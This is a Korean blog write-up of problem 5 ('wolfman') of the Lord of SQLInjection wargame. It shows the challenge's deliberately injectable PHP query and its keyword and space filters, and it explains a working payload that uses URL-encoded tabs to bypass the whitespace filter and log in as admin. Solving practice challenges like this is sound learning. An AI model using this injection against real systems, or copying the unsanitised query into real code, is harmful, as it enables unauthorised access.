김승현

[Lord Of SQLInjection] wolfman 5번 문제 write up 본문

Web/Lord Of Sql

[Lord Of SQLInjection] wolfman 5번 문제 write up

kshind 2023. 3. 12. 17:31

문제는 이렇게 생겼다. 

 

코드를 자세히 살펴보자.

login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");

제일 먼저 login을 했는지 체크함

db연결

필터링 목록

no hack 
    1. prob
    2. _
    3. .
    4. (
    5. )
no whitespace
    1. 띄어쓰기
 $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman");

$query에 select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}' 저장

query : $query  #<strong>태그는 강조하는 태그

result에 mysql에서 db, query에 대해 가져와서 저장

만약 sql의 id가 있다면 Hello [id의 값] 출력

만약 sql의 id가 admin이라면 wolfman 문제 해결

 

띄어쓰기, 즉 %20을 필터링하지만 %09(tap)은 하지 않기 때문에 이걸 사용해서 필터링을 우회해보자.

?pw='%09or%09id='admin'%23

위는 그냥 %20이 들어갈 자리에 그냥 %09를 넣은 간단한 내용이다.

그대로 입력해주면 간단하게 문제를 해결할 수 있다.